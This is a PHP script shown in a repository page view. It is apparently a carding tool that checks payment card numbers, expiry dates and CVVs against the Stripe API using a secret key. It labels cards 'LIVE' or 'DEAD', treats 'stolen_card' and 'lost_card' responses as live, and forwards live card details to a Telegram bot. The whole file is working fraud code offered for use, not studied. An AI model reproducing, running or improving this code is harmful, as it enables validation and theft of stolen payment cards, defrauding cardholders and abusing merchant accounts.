-
Notifications
You must be signed in to change notification settings - Fork 66
/
Copy pathStripe_1_New.php
222 lines (205 loc) · 9.48 KB
/
Stripe_1_New.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
<?php
//Script Author: ᴛɪᴋᴏʟ4ʟɪғᴇ https://t.me/Tikol4Life
/*===[PHP Setup]==============================================*/
error_reporting(0);
ini_set('display_errors', 0);
/*===[Include Setup]==========================================*/
include 'preset.php';
/*===[cURL Processes]=========================================*/
/* 1st cURL */
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, 'https://api.stripe.com/v1/tokens');
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch1, CURLOPT_POSTFIELDS, 'card[number]='.$cc.'&card[exp_month]='.$mm.'&card[exp_year]='.$yyyy.'&card[cvc]='.$cvv);
curl_setopt($ch1, CURLOPT_USERPWD, $sk. ':' . '');
$headers = array();
$headers[] = 'Content-Type: application/x-www-form-urlencoded';
curl_setopt($ch1, CURLOPT_HTTPHEADER, $headers);
$curl1 = curl_exec($ch1);
curl_close($ch1);
/* 1st cURL Response */
$res1 = json_decode($curl1, true);
$card = $res1['card']['id'];
if(isset($res1['id'])){
/* 2nd cURL */
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, 'https://api.stripe.com/v1/customers');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, 'email='.$email.'&description=Tikol4Life&source='.$res1["id"].'&address[line1]='.$location_street.'&address[city]='.$location_city.'&address[state]='.$location_state.'&address[postal_code]='.$location_postcode.'&address[country]=US');
curl_setopt($ch2, CURLOPT_USERPWD, $sk . ':' . '');
$headers = array();
$headers[] = 'Content-Type: application/x-www-form-urlencoded';
curl_setopt($ch2, CURLOPT_HTTPHEADER, $headers);
$curl2 = curl_exec($ch2);
curl_close($ch2);
/* 2nd cURL Response */
$res2 = json_decode($curl2, true);
$cus = $res2['id'];
}
if (isset($res2['id'])&&!isset($res2['sources'])) {
/* 3rd cURL */
$ch3 = curl_init();
curl_setopt($ch3, CURLOPT_URL, 'https://api.stripe.com/v1/customers/'.$cus.'/sources/'.$card);
curl_setopt($ch3, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch3, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch3, CURLOPT_USERPWD, $sk . ':' . '');
$headers = array();
$headers[] = 'Content-Type: application/x-www-form-urlencoded';
curl_setopt($ch3, CURLOPT_HTTPHEADER, $headers);
$curl3 = curl_exec($ch3);
curl_close($ch3);
/* 3rd cURL Response */
$res3 = json_decode($curl3, true);
}
/*===[cURL Response Setup]====================================*/
if(isset($res1['error'])){
//DEAD
$code = $res1['error']['code'];
$decline_code = $res1['error']['decline_code'];
$message = $res1['error']['message'];
if(isset($res1['error']['decline_code'])){
$codex = $decline_code;
}else{
$codex = $code;
}
$err = ''.$res1['error']['message'].' '.$codex;
if($code == "incorrect_cvc"||$decline_code == "incorrect_cvc"){
//CCN LIVE
if(isset($telebot) && $telebot != ""){
if($tele_msg == "2"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CCN Match [Incorrect CVV]%0A",$telebot);
}
}
EchoMessage('CCN LIVE',$cc_info.' >> '.$err);
}elseif($code == "insufficient_funds"||$decline_code == "insufficient_funds"){
//CVV LIVE: Insufficient Funds
if(isset($telebot) && $telebot != ""){
if($tele_msg == "1"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CVV Match [Insuf. Balance]%0A",$telebot);
}
}
EchoMessage('CVV LIVE',$cc_info.' >> '.$err);
}elseif($code == "lost_card"||$decline_code == "lost_card"){
//CCN LIVE: Lost Card
if(isset($telebot) && $telebot != ""){
if($tele_msg == "2"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CCN Match [Lost Card]%0A",$telebot);
}
}
EchoMessage('CCN LIVE',$cc_info.' >> '.$err);
}elseif($code == "stolen_card"||$decline_code == "stolen_card"){
//CCN LIVE: Stolen Card
if(isset($telebot) && $telebot != ""){
if($tele_msg == "2"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CCN Match [Stolen Card]%0A",$telebot);
}
}
EchoMessage('CCN LIVE',$cc_info.' >> '.$err);
}elseif($code == "testmode_charges_only"||$decline_code == "testmode_charges_only"){
//TESTMODE CHARGES
EchoMessage('DEAD',$cc_info.' >> SK Error: TestMode Charges ');
}elseif(strpos($curl1, 'Sending credit card numbers directly to the Stripe API is generally unsafe.')) {
//INTEGRATION ERROR
EchoMessage('DEAD',$cc_info.' >> SK Error: Integration');
}elseif(strpos($curl1, "You must verify a phone number on your Stripe account before you can send raw credit card numbers to the Stripe API.")){
//VERIFY NUMBER
EchoMessage('DEAD',$cc_info.' >> SK Error: Verify Phone Number');
}else{
//DEAD
EchoMessage('DEAD',$cc_info.' >> '.$err);
}
}else{
if (isset($res2['error'])) {
//DEAD
$code = $res2['error']['code'];
$decline_code = $res2['error']['decline_code'];
$message = $res2['error']['message'];
if(isset($res2['error']['decline_code'])){
$codex = $decline_code;
}else{
$codex = $code;
}
$err = ''.$res2['error']['message'].' '.$codex;
if($code == "incorrect_cvc"||$decline_code == "incorrect_cvc"){
//CCN LIVE
if(isset($telebot) && $telebot != ""){
if($tele_msg == "2"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CCN Match [Incorrect CVV]%0A",$telebot);
}
}
EchoMessage('CCN LIVE',$cc_info.' >> '.$err);
}elseif($code == "insufficient_funds"||$decline_code == "insufficient_funds"){
//CVV LIVE: Insufficient Funds
if(isset($telebot) && $telebot != ""){
if($tele_msg == "1"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CVV Match [Insuf. Balance]%0A",$telebot);
}
}
EchoMessage('CVV LIVE',$cc_info.' >> '.$err);
}elseif($code == "lost_card"||$decline_code == "lost_card"){
//CCN LIVE: Lost Card
if(isset($telebot) && $telebot != ""){
if($tele_msg == "2"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CCN Match [Lost Card]%0A",$telebot);
}
}
EchoMessage('CCN LIVE',$cc_info.' >> '.$err);
}elseif($code == "stolen_card"||$decline_code == "stolen_card"){
//CCN LIVE: Stolen Card
if(isset($telebot) && $telebot != ""){
if($tele_msg == "2"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CCN Match [Stolen Card]%0A",$telebot);
}
}
EchoMessage('CCN LIVE',$cc_info.' >> '.$err);
}else{
//DEAD
EchoMessage('DEAD',$cc_info.' >> '.$err);
}
}else{
if (isset($res2['sources'])) {
$cvc_res2 = $res2['sources']['data'][0]['cvc_check'];
if($cvc_res2 == "pass"||$cvc_res2 == "success"){
//CVV MATCH CONGRATS
if(isset($telebot) && $telebot != ""){
if($tele_msg == "1"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CVV Match%0A",$telebot);
}
}
EchoMessage('CVV LIVE',$cc_info.' >> cvc_check : '.$cvc_res2);
}else{
//DEAD
EchoMessage('DEAD',$cc_info.' >> cvc_check : '.$cvc_res2);
}
}else{
$cvc_res3 = $res3['cvc_check'];
if($cvc_res3 == "pass"||$cvc_res3 == "success"){
//CVV MATCH CONGRATS
if(isset($telebot) && $telebot != ""){
if($tele_msg == "1"|| $tele_msg == "3") {
BotForwarder("<b>Tikol4Life Telegram Forwarder</b>%0A%0A<b>CC_Info</b>: $cc_info%0A<b>CC_Status</b>: CVV Match%0A",$telebot);
}
}
EchoMessage('CVV LIVE',$cc_info.' >> cvc_check : '.$cvc_res3);
}else{
//DEAD
EchoMessage('DEAD',$cc_info.' >> cvc_check : '.$cvc_res3);
}
}
}
}
if ($testMode) {
echo '<pre>';
echo "1st cURL <br>";
echo json_encode($res1, JSON_PRETTY_PRINT);
if (isset($res1['id'])) {
echo "<br><br>2nd cURL <br>";
echo json_encode($res2, JSON_PRETTY_PRINT);
}
if (isset($res2['id'])&&!isset($res2['sources'])) {
echo "<br><br>3rd cURL <br>";
echo json_encode($res3, JSON_PRETTY_PRINT);
}
}
?>